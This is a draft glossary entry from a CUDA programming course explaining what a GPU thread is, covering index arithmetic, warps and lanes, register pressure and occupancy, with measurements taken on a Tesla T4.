What is a thread in CUDA?
One instance of your kernel body, with its own registers and its own index, scheduled as part of a group of 32.
The word is borrowed from the CPU and it oversells. A POSIX thread owns a stack, an entry in the operating system's scheduler and a few microseconds of setup, so you count them in tens. A CUDA thread is a slot on a streaming multiprocessor: some registers carved out of that SM's register file, a seat in a warp, and a handful of index numbers. You count those in millions. A T4 holds 1024 threads resident per SM across 40 SMs, so 40,960 of them are in flight before anything has to queue, and day 8 sizes a grid to exactly that number.
Everything separating one thread from the next arrives through the built-in index variables. Same code, same constants, same arguments; each thread reads its own threadIdx and its own blockIdx and builds a global thread index from them. So a thread's identity belongs to the launch, not to the data. Give 2000 elements to a launch of 256-thread blocks and element 1337 belongs to block 5, thread 57. Switch to 1024-thread blocks and it belongs to block 1, thread 313. The element did not move; the carving did.
Threads are cheap to start and expensive to widen. Registers are the resource they compete for: a T4 SM has 65,536 of them and room for 1024 resident threads, which puts the line at 64 registers per thread to fill the card. Ask for more and the hardware keeps fewer threads resident rather than refusing you. Day 17 measured a 4-tap kernel at 10 registers running at 100 percent occupancy and a 64-tap one at 72 registers running at 75 percent. The two times are not comparable, because the second does sixteen times the arithmetic; what the register count changes is how many threads stay resident, and nothing in either source says so. Registers and register spilling are where that budget goes.
The last thing the word hides is that a thread does not get an instruction to itself. NVIDIA's guide says each SM "creates, manages, schedules, and executes threads in groups of 32 parallel threads called warps", so a thread's lane, its seat in that group, decides more about what its memory access costs than its thread number ever will. Element 1337 sat in lane 25 under both block sizes above, because 57 and 313 are each 25 past a multiple of 32. Block and thread numbers are yours to choose. The lane comes with the index.
Measured
Tesla T4, driver 595.84, CUDA 12.6 (V12.6.85), built with nvcc -O3 -arch=sm_75. Captured 2026-08-30 on the project's verification node.
Day 4 handed 2000 elements to three launches and asked each which thread wrote element 1337:
| Launch | Threads started | Elements with no owner | Owner of element 1337 |
|---|---|---|---|
<<<7, 256>>> |
1792 | 208 | block 5, thread 57 (warp 1, lane 25) |
<<<8, 256>>> |
2048 | 0 | block 5, thread 57 (warp 1, lane 25) |
<<<2, 1024>>> |
2048 | 0 | block 1, thread 313 (warp 9, lane 25) |
For the covering launch the program rebuilds blockIdx.x * blockDim.x + threadIdx.x from all 2000 written elements and exits non-zero on the first one that is not its own index. It passed, which is the part worth running: 1337 = 5 * 256 + 57 is arithmetic you can check on paper, the hardware agreeing with it on every element is not.
Day 17 measured the per-thread cost on the same card, 1,049,187 elements, 256 threads per block:
| Kernel | Registers per thread | Local memory | Occupancy | Time |
|---|---|---|---|---|
decayNarrow |
10 | 0 B | 100% | 0.038 ms |
decayWide |
72 | 0 B | 75% | 0.164 ms |
decayWideIndexed |
69 | 256 B | 75% | 1.556 ms |
decayWideBounded |
64 | 48 B | 100% | 0.227 ms |
decayWide crosses the 64-register line by eight and gives up a quarter of the card's resident threads for it. decayWideIndexed sits at 69, still over the line, and pays a worse way again: 256 bytes per thread of local memory holding a dynamically indexed array. That is a stack frame the compiler could not keep in registers, not a spill, and the distinction matters because you fix the two differently. 1.556 ms against 0.164, on four kernels that all match the CPU reference.
Diagram
index-tracer, preset 1d-basic: twelve elements under three blocks of four threads, one arrow from each thread box to the element it writes. Clicking an element runs the arrow backwards and names its owner.
Alt text: "Twelve elements, three blocks of four threads, one arrow per thread. Every element has exactly one arrow into it. The thread number restarts at zero inside each block while the element number keeps counting."
Related terms
- warp
- lane
- thread block
- built-in index variables
- global thread index
- registers
- occupancy
- streaming multiprocessor
Where you meet this
- Day 4, grid, block and thread indexing, the lesson that owns this term
- Day 5, vector addition, where one thread first owns one element of real data
- Day 17, registers, local memory and spills, for what a thread costs the SM
- Day 21, what is a warp, for the group of 32 a thread is issued inside
too many resources requested for launch, the launch failure you get when the per-thread register demand and the block size cannot both be satisfied
Sources
- CUDA Programming Guide, built-in variables and
warpSize, described as "A run-time value defined as the number of threads in a warp, commonly 32": https://docs.nvidia.com/cuda/cuda-programming-guide/05-appendices/cpp-language-extensions.html (checked 2026-08-30) - CUDA Programming Guide, Table 30, which gives 1024 maximum threads per block and, for compute capability 7.5, 32 resident warps and 16 resident blocks per SM: https://docs.nvidia.com/cuda/cuda-programming-guide/05-appendices/compute-capabilities.html (checked 2026-08-30)
- CUDA Programming Guide, SIMT execution model, "Each SM creates, manages, schedules, and executes threads in groups of 32 parallel threads called warps": https://docs.nvidia.com/cuda/cuda-programming-guide/03-advanced/advanced-kernel-programming.html (checked 2026-08-30)
- "Understanding CUDA grid dimensions, block dimensions and threads organization", 178,647 views: https://stackoverflow.com/questions/2392250/understanding-cuda-grid-dimensions-block-dimensions-and-threads-organization-s (checked 2026-08-29)
Byline
Written by: unassigned. Reviewed by: unassigned. Written on: not set. Last checked: not set. Numbers captured 2026-08-30 on the project's verification node. This entry stays a draft until a named author and a different named reviewer sign it.